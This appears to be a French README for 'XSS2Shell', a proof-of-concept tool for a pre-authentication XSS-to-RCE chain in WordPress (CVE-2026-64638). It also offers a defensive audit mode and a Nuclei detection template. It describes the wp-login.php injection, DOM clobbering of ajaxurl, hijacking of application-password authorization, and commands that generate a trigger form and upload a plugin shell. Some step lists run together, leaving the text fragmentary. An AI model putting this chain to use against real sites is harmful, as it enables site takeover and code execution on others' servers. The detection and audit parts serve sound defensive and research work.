
XSS2Shell (CVE-2026-64638) chaîne XSS pré-auth vers RCE sur WordPress — exploit PoC + outil d'audit défensif + template nuclei
CVE-2026-64638 · XSS réfléchi sur wp-login.php · CVSS 8.9 (v4.0) · Corrigé dans WordPress 7.0.3
⚠️ TESTS UNIQUEMENT AUTORISÉS. Cet outil est destiné à la recherche en sécurité et aux tests d'intrusion autorisés sur des systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée est illégale dans la plupart des juridictions. Le chercheur (PWN.AI) a divulgué cette faille le 7 août 2026 ; WordPress a publié le correctif dans la version 7.0.3 le jour même.
XSS2Shell est une chaîne XSS vers exécution de code avant authentification affectant WordPress Core (toutes les versions depuis 4.7, soit plus de 500 millions de sites). Une seule tentative de connexion infructueuse spécialement conçue exécute le JavaScript de l'attaquant dans l'origine WordPress ; contre un administrateur connecté, elle dégénère en RCE complète.
Divulgation publique : https://pwn.ai/blog/xss2shell
wp-login.php reflète le nom d'utilisateur soumis via sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...'). < area id=test> (espace entre < et le nom de balise) survit à strip_tags() de PHP, puis l'assainisseur KSES de WordPress le réanalyse en élément DOM vivant.< area id=ajaxurl href=...>, < div id=color-picker class=reset-pass-submit>,
< button class="wp-generate-pw color-option">X.wp-pass.php se déclenche via le bouton injecté. La garde user_id === new_user_id est contournée (undefined === undefined — les deux entrées étant absentes de la page de connexion). L'identifiant ajaxurl se résout en l'élément <area> injecté via l'accès aux propriétés nommées HTML sur l'objet Window.href contrôlé par l'attaquant (/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1 — enveloppe JSONP).wp-content/plugins/<slug>/ est accessible via le web sans activation).# 1. Non-destructive check — does the target reflect the payload?
python3 xss2shell.py check https://example.com
# 2. 🛡️ DEFENSIVE AUDIT — WordPress hardening report (A-F score)
python3 xss2shell.py audit https://example.com
# Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
# sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
# security headers (CSP/HSTS/XFO), REST user enumeration.
# 3. Generate the trigger HTML form (XSS stage)
python3 xss2shell.py exploit --target example.com > trigger.html
# 4. RCE stage (lab only — needs admin application password)
python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
# 5. Emit the plugin zip without uploading
python3 xss2shell.py zip --out xss2shell-plugin.zip
Prérequis : Python 3.8+, stdlib uniquement — aucune dépendance tierce.
$ python3 xss2shell.py audit https://target.example
🛡️ WORDPRESS GÜVENLİK DENETİMİ (savunma modu)
🔴 [CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) SAVUNMASIZ, 7.0.3+ gerekli
🔴 [CRITICAL] wp-login.php XSS yansıması VAR — CVE-2026-64638 aktif, acil güncelle!
🟠 [HIGH] Sızıntı: /xmlrpc.php HTTP 405
🟡 [WARN] Header X-Frame-Options eksik — clickjacking koruması önerilir
...
📊 GÜVENLİK SKORU: F (91 puan risk) — Ciddi risk — hemen önlem al!
trigger.html et le soumettre (ou le soumettre automatiquement via JS) sur la page de connexion cible → le XSS se déclenche dans le navigateur de la victime.authorize-application.php est détourné pour générer un mot de passe d'application.shell pour téléverser le zip du plugin./wp-content/plugins/xss2shell/xss2shell.php — {"rce":true,...}.Un modèle Nuclei prêt à l'emploi est inclus : nuclei-CVE-2026-64638.yaml
# Scan a single target
nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
# Scan a list of targets
nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
Le modèle détecte le différentiel d'analyse syntaxique (élément < area réfléchi sur wp-login.php) avec deux variantes de payload et est vérifié aussi bien sur les installations vulnérables (6.9.4) que corrigées (7.0.3+).
Remarque : un modèle fonctionnellement identique a été fusionné en amont dans nuclei-templates via la PR #16785 — cette copie est conservée ici pour une utilisation autonome.
Licence MIT — voir LICENSE.
Remarque : Ce PoC est publié à des fins de recherche défensive et d'éducation. Utilisez-le uniquement contre des systèmes que vous possédez ou êtes autorisé à tester.